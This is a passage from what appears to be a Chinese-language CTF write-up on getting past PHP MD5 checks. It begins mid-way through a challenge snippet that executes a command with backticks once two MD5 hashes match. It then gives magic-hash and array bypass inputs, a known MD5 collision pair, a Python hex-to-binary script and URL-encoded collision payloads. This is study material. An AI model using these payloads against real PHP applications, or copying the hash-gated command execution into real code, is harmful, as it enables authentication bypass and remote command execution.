['a' ]) === md5($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
至于md5碰撞的话,本来可以用数组绕过,但是这里使用了(String)强制转换,数组被强制转换的结果都为string(5) "Array"
MD5强碰撞 md5弱比较,为0e开头的会被识别为科学记数法,结果均为0
param1=QNKCDZO¶m2=aabg7XSs
两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等
param1[]=111 ¶m2[]=222
MD5碰撞的例子
hex2bin.py hexString1 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2' hexString2 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2' hexList1 = [] intList1 = [] asciiString1 ='' while True : intString1 = hexString1[0 :2 ] hexString1 = hexString1[2 :] hexList1.append(intString1) if (hexString1 == '' ): break for i in hexList1: intList1.append(int (i,16 )) for j in intList1: asciiString1 += chr (int (j)) f = open ('1.bin' ,'w' ) f.write(asciiString1) f.close() hexList2 = [] intList2 = [] asciiString2 ='' while True : intString2 = hexString2[0 :2 ] hexString2 = hexString2[2 :] hexList2.append(intString2) if (hexString2 == '' ): break for i in hexList2: intList2.append(int (i,16 )) for j in intList2: asciiString2 += chr (int (j)) f = open ('2.bin' ,'w' ) f.write(asciiString2) f.close()
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2